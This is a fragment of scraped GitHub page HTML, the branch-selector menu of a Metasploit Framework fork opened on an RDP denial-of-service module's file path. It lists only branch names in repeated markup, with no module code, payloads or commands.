class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/bump-rails-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="bump-rails-gemcache" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="bump-rails-gemcache">bump-rails-gemcache</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/chasys_draw_ies_bmp_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="chasys_draw_ies_bmp_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="chasys_draw_ies_bmp_bof">chasys_draw_ies_bmp_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/claudijd-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="claudijd-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="claudijd-master">claudijd-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cmaruti-Dell_iDrac/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cmaruti-Dell_iDrac" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cmaruti-Dell_iDrac">cmaruti-Dell_iDrac</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cmd_stager_echo/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cmd_stager_echo" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cmd_stager_echo">cmd_stager_echo</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cmd_windows_ruby/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cmd_windows_ruby" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cmd_windows_ruby">cmd_windows_ruby</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cmdstager_echo_linux/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cmdstager_echo_linux" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cmdstager_echo_linux">cmdstager_echo_linux</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cogent_datahub_request_headers_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cogent_datahub_request_headers_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cogent_datahub_request_headers_bof">cogent_datahub_request_headers_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/coldfusion9_fingerprint/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="coldfusion9_fingerprint" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="coldfusion9_fingerprint">coldfusion9_fingerprint</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/coldfusion_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="coldfusion_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="coldfusion_review">coldfusion_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/complete_nodejs_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="complete_nodejs_exploit" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="complete_nodejs_exploit">complete_nodejs_exploit</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cookie_max_age/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cookie_max_age" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cookie_max_age">cookie_max_age</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/coolpdf_image_stream_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="coolpdf_image_stream_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="coolpdf_image_stream_bof">coolpdf_image_stream_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/corelpdf_fusion_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="corelpdf_fusion_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="corelpdf_fusion_bof">corelpdf_fusion_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/crashbrz-patch-1/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="crashbrz-patch-1" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="crashbrz-patch-1">crashbrz-patch-1</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/crystal_reports_printcontrol/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="crystal_reports_printcontrol" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="crystal_reports_printcontrol">crystal_reports_printcontrol</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cve-2013-2641/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cve-2013-2641" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cve-2013-2641">cve-2013-2641</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/cwe_support/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="cwe_support" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="cwe_support">cwe_support</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/darkoperator-pingsweep_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="darkoperator-pingsweep_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="darkoperator-pingsweep_fix">darkoperator-pingsweep_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/darkoperator-skype_enum/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="darkoperator-skype_enum" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="darkoperator-skype_enum">darkoperator-skype_enum</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/datalife_preview_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="datalife_preview_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="datalife_preview_exec">datalife_preview_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/datalife_template/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="datalife_template" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="datalife_template">datalife_template</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dcbz-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dcbz-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dcbz-master">dcbz-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dcbz-osxpayloads/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dcbz-osxpayloads" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dcbz-osxpayloads">dcbz-osxpayloads</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/delete_mutiny_debug/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="delete_mutiny_debug" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="delete_mutiny_debug">delete_mutiny_debug</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/devise_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="devise_clean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="devise_clean">devise_clean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dlink_dir_300_615_http_login_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dlink_dir_300_615_http_login_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dlink_dir_300_615_http_login_work">dlink_dir_300_615_http_login_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dlink_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dlink_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dlink_fix">dlink_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dlink_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dlink_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dlink_review">dlink_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dlink_upnp_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dlink_upnp_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dlink_upnp_cleanup">dlink_upnp_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dmaloney-r7-WinRM_piecemeal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dmaloney-r7-WinRM_piecemeal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dmaloney-r7-WinRM_piecemeal">dmaloney-r7-WinRM_piecemeal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dns_info_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dns_info_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dns_info_fix">dns_info_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/download_exec_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="download_exec_mod" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="download_exec_mod">download_exec_mod</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/download_exec_shell/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="download_exec_shell" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="download_exec_shell">download_exec_shell</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/dvr_config/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="dvr_config" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="dvr_config">dvr_config</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/eap_md5/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="eap_md5" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="eap_md5">eap_md5</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/eddiezab-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="eddiezab-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="eddiezab-master">eddiezab-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ektron_xslt_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ektron_xslt_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ektron_xslt_exec">ektron_xslt_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ektron_xslt_exec_nicob/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ektron_xslt_exec_nicob" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ektron_xslt_exec_nicob">ektron_xslt_exec_nicob</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/enterasys_netsight_syslog_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="enterasys_netsight_syslog_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="enterasys_netsight_syslog_bof">enterasys_netsight_syslog_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/erdas_er_viewer_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="erdas_er_viewer_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="erdas_er_viewer_bof">erdas_er_viewer_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/erdas_er_viewer_rf_report_error/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="erdas_er_viewer_rf_report_error" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="erdas_er_viewer_rf_report_error">erdas_er_viewer_rf_report_error</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/esmnemon-modbus-aux/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="esmnemon-modbus-aux" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="esmnemon-modbus-aux">esmnemon-modbus-aux</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/ethicalhack3r-php_include/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="ethicalhack3r-php_include" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="ethicalhack3r-php_include">ethicalhack3r-php_include</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/exim4_dovecot_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="exim4_dovecot_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="exim4_dovecot_exec">exim4_dovecot_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/f5_big_ip_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="f5_big_ip_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="f5_big_ip_work">f5_big_ip_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fail_with_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fail_with_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fail_with_fix">fail_with_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/addp-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/addp-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/addp-modules">feature/addp-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/all-modules-load-spec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/all-modules-load-spec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/all-modules-load-spec">feature/all-modules-load-spec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/bump-rails-and-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/bump-rails-and-gemcache" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/bump-rails-and-gemcache">feature/bump-rails-and-gemcache</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/codeclimate.com/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/codeclimate.com" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/codeclimate.com">feature/codeclimate.com</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/gemize-kissfft/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/gemize-kissfft" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/gemize-kissfft">feature/gemize-kissfft</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/metsploit-data-models-0.3.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/metsploit-data-models-0.3.0" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/metsploit-data-models-0.3.0">feature/metsploit-data-models-0.3.0</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/niagara-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/niagara-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/niagara-modules">feature/niagara-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/railgun/error_msg/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/railgun/error_msg" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/railgun/error_msg">feature/railgun/error_msg</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/realport-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/realport-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/realport-modules">feature/realport-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/travis-ci.org/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/travis-ci.org" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/travis-ci.org">feature/travis-ci.org</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/udp-scanner-mixin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/udp-scanner-mixin" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/udp-scanner-mixin">feature/udp-scanner-mixin</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/feature/updated-mobile/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="feature/updated-mobile" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="feature/updated-mobile">feature/updated-mobile</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/file_dropper_support_local/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="file_dropper_support_local" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="file_dropper_support_local">file_dropper_support_local</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/findpids/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="findpids" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="findpids">findpids</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/firefox_onreadystatechange/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="firefox_onreadystatechange" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="firefox_onreadystatechange">firefox_onreadystatechange</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix-2438/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix-2438" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix-2438">fix-2438</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/fix_auth_brute/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="fix_auth_brute" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="fix_auth_brute">fix_auth_brute</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a 